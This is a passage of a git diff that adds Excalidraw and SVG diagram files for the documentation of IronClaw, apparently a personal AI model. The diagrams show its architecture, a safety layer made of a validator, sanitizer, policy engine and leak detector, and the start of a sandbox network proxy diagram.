"startArrowhead": null, + "endArrowhead": "arrow", + "index": "am", + "frameId": null, + "roundness": null, + "updated": 1772672327538, + "moveMidPointsWithElement": false + }, + { + "type": "arrow", + "id": "arrow_input_core4", + "x": 254.84727560813317, + "y": 379.7886976467096, + "width": 120.41645857517298, + "height": 129.58385431739177, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100530, + "version": 376, + "versionNonce": 1093329270, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 120.41645857517298, + -129.58385431739177 + ] + ], + "startBinding": { + "elementId": "webhook", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "endBinding": { + "elementId": "core_section", + "mode": "orbit", + "fixedPoint": [ + 0, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "an", + "frameId": null, + "roundness": null, + "updated": 1772672330620, + "moveMidPointsWithElement": false + }, + { + "type": "arrow", + "id": "arrow_core_safety", + "x": 607.2792574038587, + "y": 231.54881937544798, + "width": 59.62699259614135, + "height": 6.315221613358659, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100540, + "version": 42, + "versionNonce": 1896741119, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 59.62699259614135, + -6.315221613358659 + ] + ], + "startBinding": { + "elementId": "core_section", + "mode": "orbit", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "elementId": "safety_section", + "mode": "orbit", + "fixedPoint": [ + 0, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "ao", + "frameId": null, + "roundness": null, + "updated": 1772672044735 + }, + { + "type": "arrow", + "id": "arrow_safety_tools", + "x": 805, + "y": 320, + "width": 0, + "height": 40, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100550, + "version": 2, + "versionNonce": 1344749009, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 40 + ] + ], + "startBinding": { + "elementId": "safety_section", + "mode": "orbit", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "elementId": "tools_section", + "mode": "orbit", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "ap", + "frameId": null, + "roundness": null, + "updated": 1772671737614 + }, + { + "type": "arrow", + "id": "arrow_tools_memory", + "x": 674.0000000000001, + "y": 482.45959188061835, + "width": 39.52734375000023, + "height": 18.274542292258445, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100560, + "version": 44, + "versionNonce": 1128447825, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + -39.52734375000023, + 18.274542292258445 + ] + ], + "startBinding": { + "elementId": "tools_section", + "mode": "orbit", + "fixedPoint": [ + 0.40491563901027483, + 0.40491563901027516 + ] + }, + "endBinding": { + "elementId": "memory_section", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aq", + "frameId": null, + "roundness": null, + "updated": 1772671997277 + }, + { + "type": "arrow", + "id": "arrow_core_memory", + "x": 492.74666041770803, + "y": 368.12627204332153, + "width": 17.957559467704414, + "height": 69.36982170667847, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 100570, + "version": 330, + "versionNonce": 135578929, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 17.957559467704414, + 69.36982170667847 + ] + ], + "startBinding": { + "elementId": "core_section", + "mode": "orbit", + "fixedPoint": [ + 0.5001, + 1 + ] + }, + "endBinding": { + "elementId": "memory_section", + "mode": "orbit", + "fixedPoint": [ + 0.7999958256368513, + 0.20000417436314896 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "ar", + "frameId": null, + "roundness": null, + "updated": 1772671958922, + "moveMidPointsWithElement": false + }, + { + "id": "1o1GPIBP3SpczsceF7jfU", + "type": "text", + "x": 240.703125, + "y": 454.09765625, + "width": 180.47999572753906, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "as", + "roundness": null, + "seed": 329521905, + "version": 3, + "versionNonce": 785624287, + "isDeleted": false, + "boundElements": [], + "updated": 1772671853058, + "link": null, + "locked": false, + "text": "Persistent Memory", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Persistent Memory", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "Ns8XtzFXPu5E1B5Q9ur6J", + "type": "text", + "x": 741.00390625, + "y": 134.66015625, + "width": 126.26000213623047, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "at", + "roundness": null, + "seed": 450218865, + "version": 62, + "versionNonce": 595022815, + "isDeleted": false, + "boundElements": [], + "updated": 1772671932204, + "link": null, + "locked": false, + "text": "Safety Layer", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Safety Layer", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "FJS2dQDyEM0OqHFuU-VAj", + "type": "text", + "x": 422.25, + "y": 134.76953125, + "width": 135.27999877929688, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "au", + "roundness": null, + "seed": 2004474367, + "version": 106, + "versionNonce": 740160479, + "isDeleted": false, + "boundElements": [], + "updated": 1772671963430, + "link": null, + "locked": false, + "text": "IronClaw Core", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "IronClaw Core", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "yd2u8HtpEcxkhaIs0XMnP", + "type": "text", + "x": 746.45703125, + "y": 377.46875, + "width": 120.79999542236328, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "av", + "roundness": null, + "seed": 991146801, + "version": 3, + "versionNonce": 964216991, + "isDeleted": false, + "boundElements": [], + "updated": 1772671983732, + "link": null, + "locked": false, + "text": "Tool System", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Tool System", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "9kehPXTD7MR4mIHIE9HuQ", + "type": "text", + "x": 105.328125, + "y": 149.52734375, + "width": 144.76002502441406, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "aw", + "roundness": null, + "seed": 905798442, + "version": 55, + "versionNonce": 124332010, + "isDeleted": false, + "boundElements": null, + "updated": 1772672288834, + "link": null, + "locked": false, + "text": "Input Channels", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Input Channels", + "autoResize": true, + "lineHeight": 1.25 + } + ], + "appState": { + "gridSize": 20, + "gridStep": 5, + "gridModeEnabled": false, + "viewBackgroundColor": "#ffffff", + "lockedMultiSelections": {} + }, + "files": {} +} \ No newline at end of file diff --git a/docs/drafts/assets/ironclaw-architecture.png b/docs/drafts/assets/ironclaw-architecture.png new file mode 100644 index 0000000000..6eeb4dcd20 Binary files /dev/null and b/docs/drafts/assets/ironclaw-architecture.png differ diff --git a/docs/drafts/assets/ironclaw-architecture.svg b/docs/drafts/assets/ironclaw-architecture.svg new file mode 100644 index 0000000000..3abe47bea4 --- /dev/null +++ b/docs/drafts/assets/ironclaw-architecture.svg @@ -0,0 +1,5 @@ + + +IronClaw ArchitectureSecure Personal AI AssistantWeb GatewayTelegramTerminal UIHTTP WebhookAgent LoopRouterSchedulerSanitizerValidatorPolicyLeak DetectorBuilt-inWASMMCPWorkspaceDocumentsHybrid SearchPersistent MemorySafety LayerIronClaw CoreTool SystemInput Channels \ No newline at end of file diff --git a/docs/drafts/assets/ironclaw.png b/docs/drafts/assets/ironclaw.png new file mode 100644 index 0000000000..7f55bb9659 Binary files /dev/null and b/docs/drafts/assets/ironclaw.png differ diff --git a/docs/drafts/assets/safety-layer-overview.excalidraw b/docs/drafts/assets/safety-layer-overview.excalidraw new file mode 100644 index 0000000000..819e73a152 --- /dev/null +++ b/docs/drafts/assets/safety-layer-overview.excalidraw @@ -0,0 +1,925 @@ +{ + "type": "excalidraw", + "version": 2, + "source": "https://excalidraw.com", + "elements": [ + { + "type": "text", + "id": "title", + "x": 328.47265625, + "y": 16.1015625, + "width": 400, + "height": 40, + "text": "Safety Layer Overview", + "originalText": "Safety Layer Overview", + "fontSize": 32, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "strokeColor": "#1e40af", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400001, + "version": 65, + "versionNonce": 1932644593, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "a0", + "frameId": null, + "roundness": null, + "updated": 1772735226247, + "autoResize": true + }, + { + "type": "rectangle", + "id": "safety_layer", + "x": 331.01171875, + "y": 79.5, + "width": 400, + "height": 450, + "strokeColor": "#1e3a5f", + "backgroundColor": "#fef3c7", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400010, + "version": 162, + "versionNonce": 193759953, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "a1", + "frameId": null, + "updated": 1772735226247 + }, + { + "type": "text", + "id": "safety_label", + "x": 489.01953125, + "y": 94.5, + "width": 10.546875, + "height": 22.5, + "text": "", + "originalText": "", + "fontSize": 18, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#b45309", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400012, + "version": 165, + "versionNonce": 586655281, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "a2", + "frameId": null, + "roundness": null, + "updated": 1772735231946, + "autoResize": true + }, + { + "type": "rectangle", + "id": "validator", + "x": 381.01171875, + "y": 139.5, + "width": 300, + "height": 80, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400020, + "version": 163, + "versionNonce": 1409638111, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "a3", + "frameId": null, + "updated": 1772735244009 + }, + { + "type": "text", + "id": "validator_title", + "x": 526.32421875, + "y": 169.5, + "width": 9.375, + "height": 20, + "text": "", + "originalText": "", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400022, + "version": 167, + "versionNonce": 584329983, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "validator", + "lineHeight": 1.25, + "index": "a4", + "frameId": null, + "roundness": null, + "updated": 1772735244010, + "autoResize": true + }, + { + "type": "text", + "id": "validator_desc", + "x": 391.01171875, + "y": 184.5, + "width": 253.125, + "height": 15, + "text": "Length, encoding, forbidden patterns", + "originalText": "Length, encoding, forbidden patterns", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400024, + "version": 163, + "versionNonce": 615017951, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "a5", + "frameId": null, + "roundness": null, + "updated": 1772735238046, + "autoResize": true + }, + { + "type": "rectangle", + "id": "sanitizer", + "x": 380.890625, + "y": 239.5, + "width": 300, + "height": 80, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400030, + "version": 164, + "versionNonce": 1272218623, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "a6", + "frameId": null, + "updated": 1772735258774 + }, + { + "type": "text", + "id": "sanitizer_title", + "x": 526.203125, + "y": 269.5, + "width": 9.375, + "height": 20, + "text": "", + "originalText": "", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400032, + "version": 168, + "versionNonce": 1539419167, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "sanitizer", + "lineHeight": 1.25, + "index": "a7", + "frameId": null, + "roundness": null, + "updated": 1772735258774, + "autoResize": true + }, + { + "type": "text", + "id": "sanitizer_desc", + "x": 407.0546875, + "y": 288.06640625, + "width": 246.09375, + "height": 15, + "text": "Pattern detection, content escaping", + "originalText": "Pattern detection, content escaping", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400034, + "version": 193, + "versionNonce": 130606815, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "a8", + "frameId": null, + "roundness": null, + "updated": 1772735255062, + "autoResize": true + }, + { + "type": "rectangle", + "id": "policy", + "x": 383.40234375, + "y": 342.81640625, + "width": 300, + "height": 80, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400040, + "version": 190, + "versionNonce": 464100415, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "a9", + "frameId": null, + "updated": 1772735322968 + }, + { + "type": "text", + "id": "policy_title", + "x": 526.32421875, + "y": 369.5, + "width": 9.375, + "height": 20, + "text": "", + "originalText": "", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400042, + "version": 167, + "versionNonce": 1799052671, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "policy", + "lineHeight": 1.25, + "index": "aA", + "frameId": null, + "roundness": null, + "updated": 1772735265767, + "autoResize": true + }, + { + "type": "text", + "id": "policy_desc", + "x": 443.74609375, + "y": 379.23828125, + "width": 196.875, + "height": 30, + "text": "Severity rules:\n Critical, High, Medium, Low", + "originalText": "Severity rules:\n Critical, High, Medium, Low", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400044, + "version": 174, + "versionNonce": 401914911, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aB", + "frameId": null, + "roundness": null, + "updated": 1772735332470, + "autoResize": true + }, + { + "type": "rectangle", + "id": "leak", + "x": 381.01171875, + "y": 439.5, + "width": 300, + "height": 80, + "strokeColor": "#b45309", + "backgroundColor": "#ffffff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400050, + "version": 163, + "versionNonce": 724104369, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aC", + "frameId": null, + "updated": 1772735270808 + }, + { + "type": "text", + "id": "leak_title", + "x": 526.32421875, + "y": 469.5, + "width": 9.375, + "height": 20, + "text": "", + "originalText": "", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400052, + "version": 167, + "versionNonce": 1214854801, + "isDeleted": true, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "leak", + "lineHeight": 1.25, + "index": "aD", + "frameId": null, + "roundness": null, + "updated": 1772735270808, + "autoResize": true + }, + { + "type": "text", + "id": "leak_desc", + "x": 435.39453125, + "y": 478.84375, + "width": 210.9375, + "height": 30, + "text": "15+ secret patterns: \nAPI keys, tokens, private keys", + "originalText": "15+ secret patterns: \nAPI keys, tokens, private keys", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400054, + "version": 197, + "versionNonce": 764993873, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aE", + "frameId": null, + "roundness": null, + "updated": 1772735314549, + "autoResize": true + }, + { + "type": "arrow", + "id": "arrow1", + "x": 531.01171875, + "y": 219.5, + "width": 0, + "height": 20, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400100, + "version": 162, + "versionNonce": 1600952593, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 20 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "validator", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "sanitizer", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aF", + "frameId": null, + "roundness": null, + "updated": 1772735226247 + }, + { + "type": "arrow", + "id": "arrow2", + "x": 531.01171875, + "y": 319.5, + "width": 0, + "height": 20, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400110, + "version": 162, + "versionNonce": 293162737, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 20 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "sanitizer", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "policy", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aG", + "frameId": null, + "roundness": null, + "updated": 1772735226247 + }, + { + "type": "arrow", + "id": "arrow3", + "x": 531.01171875, + "y": 419.5, + "width": 0, + "height": 20, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 400120, + "version": 162, + "versionNonce": 808732881, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 20 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "policy", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "leak", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "startArrowhead": null, + "endArrowhead": "arrow", + "index": "aH", + "frameId": null, + "roundness": null, + "updated": 1772735226247 + }, + { + "id": "YJybso9KYw4iOFCWvChiV", + "type": "text", + "x": 820.5, + "y": 480.5, + "width": 8, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "aI", + "roundness": null, + "seed": 1190148401, + "version": 3, + "versionNonce": 1671504543, + "isDeleted": true, + "boundElements": null, + "updated": 1772735222093, + "link": null, + "locked": false, + "text": "", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "_DDMgdorEChvdytqe-Dy6", + "type": "text", + "x": 471.25390625, + "y": 95.8359375, + "width": 126.26000213623047, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "aJ", + "roundness": null, + "seed": 107329553, + "version": 32, + "versionNonce": 1301645809, + "isDeleted": false, + "boundElements": null, + "updated": 1772735236929, + "link": null, + "locked": false, + "text": "Safety Layer", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Safety Layer", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "IWiSVoJgF-qlEiY6aawW2", + "type": "text", + "x": 480.66796875, + "y": 151.24609375, + "width": 86.66000366210938, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "aK", + "roundness": null, + "seed": 573862687, + "version": 26, + "versionNonce": 159393407, + "isDeleted": false, + "boundElements": null, + "updated": 1772735249728, + "link": null, + "locked": false, + "text": "Validator", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Validator", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "7xQl6XXaj1kPeCo2nofJC", + "type": "text", + "x": 477.88671875, + "y": 253.71875, + "width": 85.72000122070312, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "aL", + "roundness": null, + "seed": 538234943, + "version": 3, + "versionNonce": 893730545, + "isDeleted": false, + "boundElements": null, + "updated": 1772735261698, + "link": null, + "locked": false, + "text": "Sanitizer", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Sanitizer", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "LlD4VsiLOLfqwHkb9RFrY", + "type": "text", + "x": 473.03125, + "y": 350.41796875, + "width": 125.31999969482422, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "aM", + "roundness": null, + "seed": 1813075359, + "version": 18, + "versionNonce": 1943720607, + "isDeleted": false, + "boundElements": null, + "updated": 1772735327819, + "link": null, + "locked": false, + "text": "Policy Engine", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Policy Engine", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "Vu-zf114jdCd5Fhmoc0r2", + "type": "text", + "x": 475.27734375, + "y": 453.171875, + "width": 141.3000030517578, + "height": 25, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "aN", + "roundness": null, + "seed": 1007041649, + "version": 3, + "versionNonce": 1726137183, + "isDeleted": false, + "boundElements": null, + "updated": 1772735275182, + "link": null, + "locked": false, + "text": "Leak Detector", + "fontSize": 20, + "fontFamily": 5, + "textAlign": "left", + "verticalAlign": "top", + "containerId": null, + "originalText": "Leak Detector", + "autoResize": true, + "lineHeight": 1.25 + } + ], + "appState": { + "gridSize": 20, + "gridStep": 5, + "gridModeEnabled": false, + "viewBackgroundColor": "#ffffff", + "lockedMultiSelections": {} + }, + "files": {} +} \ No newline at end of file diff --git a/docs/drafts/assets/safety-layer-overview.png b/docs/drafts/assets/safety-layer-overview.png new file mode 100644 index 0000000000..61afb76053 Binary files /dev/null and b/docs/drafts/assets/safety-layer-overview.png differ diff --git a/docs/drafts/assets/safety-layer-overview.svg b/docs/drafts/assets/safety-layer-overview.svg new file mode 100644 index 0000000000..13aa9fa943 --- /dev/null +++ b/docs/drafts/assets/safety-layer-overview.svg @@ -0,0 +1,5 @@ + + +Safety Layer OverviewLength, encoding, forbidden patternsPattern detection, content escapingSeverity rules: Critical, High, Medium, Low15+ secret patterns: API keys, tokens, private keysSafety LayerValidatorSanitizerPolicy EngineLeak Detector \ No newline at end of file diff --git a/docs/drafts/assets/sandbox-network-proxy.excalidraw b/docs/drafts/assets/sandbox-network-proxy.excalidraw new file mode 100644 index 0000000000..3c5dd05c57 --- /dev/null +++ b/docs/drafts/assets/sandbox-network-proxy.excalidraw @@ -0,0 +1,470 @@ +{ + "type": "excalidraw", + "version": 2, + "source": "https://excalidraw.com", + "elements": [ + { + "id": "title", + "type": "text", + "x": 206.65034702845998, + "y": 42.7890625, + "width": 363.3343505859375, + "height": 36.91015624999993, + "angle": 0, + "strokeColor": "#1e40af", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Sandbox Network Proxy", + "fontSize": 29.528124999999942, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "boundElements": [], + "version": 166, + "versionNonce": 218929233, + "index": "a0", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772736580609, + "link": null, + "locked": false, + "containerId": null, + "originalText": "Sandbox Network Proxy", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "subtitle", + "type": "text", + "x": 246.62890625, + "y": 82.9140625, + "width": 300, + "height": 20, + "angle": 0, + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Credential Injection Flow", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "boundElements": [], + "version": 51, + "versionNonce": 1633117745, + "index": "a1", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772736580609, + "link": null, + "locked": false, + "containerId": null, + "originalText": "Credential Injection Flow", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "container", + "type": "rectangle", + "x": 100, + 